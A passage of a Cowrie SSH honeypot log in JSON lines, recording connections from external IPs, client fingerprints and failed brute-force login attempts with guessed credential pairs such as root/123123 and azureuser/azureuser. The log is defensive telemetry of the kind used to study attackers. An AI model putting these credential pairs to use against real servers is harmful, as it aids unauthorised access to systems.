1@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:58.652290Z","src_ip":"185.236.22.41","session":"9bc6bcdd1800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gloria","message":"login attempt [root/gloria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:13:59.165858Z","src_ip":"185.236.22.41","session":"9bc6bcdd1800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:00.295493Z","src_ip":"185.236.22.41","session":"9bc6bcdd1800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":59544,"dst_ip":"10.17.0.5","dst_port":22,"session":"891c341bd7d6","protocol":"ssh","message":"New connection: 170.106.115.61:59544 (10.17.0.5:22) [session: 891c341bd7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:10.920878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:10.925453Z","src_ip":"170.106.115.61","session":"891c341bd7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:10.994100Z","src_ip":"170.106.115.61","session":"891c341bd7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":4380,"dst_ip":"159.203.135.109","dst_port":22,"session":"698e735b57f9","protocol":"ssh","message":"New connection: 165.154.227.158:4380 (159.203.135.109:22) [session: 698e735b57f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:11.287100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:11.292381Z","src_ip":"165.154.227.158","session":"698e735b57f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@2025","message":"login attempt [ftpuser/ftpuser@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:11.300672Z","src_ip":"170.106.115.61","session":"891c341bd7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:11.514511Z","src_ip":"165.154.227.158","session":"698e735b57f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:12.376990Z","src_ip":"170.106.115.61","session":"891c341bd7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser","message":"login attempt [azureuser/azureuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:12.432725Z","src_ip":"165.154.227.158","session":"698e735b57f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:13.657882Z","src_ip":"165.154.227.158","session":"698e735b57f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":55224,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6558660e8a","protocol":"ssh","message":"New connection: 62.133.63.178:55224 (159.203.135.109:22) [session: 6c6558660e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:35.907698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:35.911969Z","src_ip":"62.133.63.178","session":"6c6558660e8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:36.035355Z","src_ip":"62.133.63.178","session":"6c6558660e8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qw","message":"login attempt [root/12345qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:36.407088Z","src_ip":"62.133.63.178","session":"6c6558660e8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:37.533935Z","src_ip":"62.133.63.178","session":"6c6558660e8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":33836,"dst_ip":"159.203.135.109","dst_port":22,"session":"f581fa49fe9c","protocol":"ssh","message":"New connection: 80.94.92.186:33836 (159.203.135.109:22) [session: f581fa49fe9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:40.867699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:40.976435Z","src_ip":"80.94.92.186","session":"f581fa49fe9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:41.115677Z","src_ip":"80.94.92.186","session":"f581fa49fe9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:42.212911Z","src_ip":"80.94.92.186","session":"f581fa49fe9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:43.421189Z","src_ip":"80.94.92.186","session":"f581fa49fe9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":57516,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0b4e4ab2d0b","protocol":"ssh","message":"New connection: 193.32.162.151:57516 (159.203.135.109:22) [session: b0b4e4ab2d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:54.894460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:54.899676Z","src_ip":"193.32.162.151","session":"b0b4e4ab2d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:55.005508Z","src_ip":"193.32.162.151","session":"b0b4e4ab2d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gsulliva","password":"gsulliva","message":"login attempt [gsulliva/gsulliva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:55.329050Z","src_ip":"193.32.162.151","session":"b0b4e4ab2d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:14:56.440753Z","src_ip":"193.32.162.151","session":"b0b4e4ab2d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":43798,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f39e6958470","protocol":"ssh","message":"New connection: 43.156.17.27:43798 (159.203.135.109:22) [session: 2f39e6958470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:13.199803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:13.215323Z","src_ip":"43.156.17.27","session":"2f39e6958470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:13.457228Z","src_ip":"43.156.17.27","session":"2f39e6958470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:14.450380Z","src_ip":"43.156.17.27","session":"2f39e6958470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:15.694833Z","src_ip":"43.156.17.27","session":"2f39e6958470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":49982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5688b75cd893","protocol":"ssh","message":"New connection: 170.106.115.61:49982 (10.17.0.5:22) [session: 5688b75cd893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:19.056546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:19.062799Z","src_ip":"170.106.115.61","session":"5688b75cd893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:19.132238Z","src_ip":"170.106.115.61","session":"5688b75cd893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:19.439674Z","src_ip":"170.106.115.61","session":"5688b75cd893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:20.512739Z","src_ip":"170.106.115.61","session":"5688b75cd893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":30738,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b037cf948bb","protocol":"ssh","message":"New connection: 165.154.227.158:30738 (159.203.135.109:22) [session: 1b037cf948bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:37.504876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:37.526564Z","src_ip":"165.154.227.158","session":"1b037cf948bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:37.753336Z","src_ip":"165.154.227.158","session":"1b037cf948bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:38.681673Z","src_ip":"165.154.227.158","session":"1b037cf948bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:15:39.909565Z","src_ip":"165.154.227.158","session":"1b037cf948bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51746,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cc501be0ec","protocol":"ssh","message":"New connection: 194.113.233.25:51746 (10.17.0.5:22) [session: 46cc501be0ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:16:03.752550Z"}
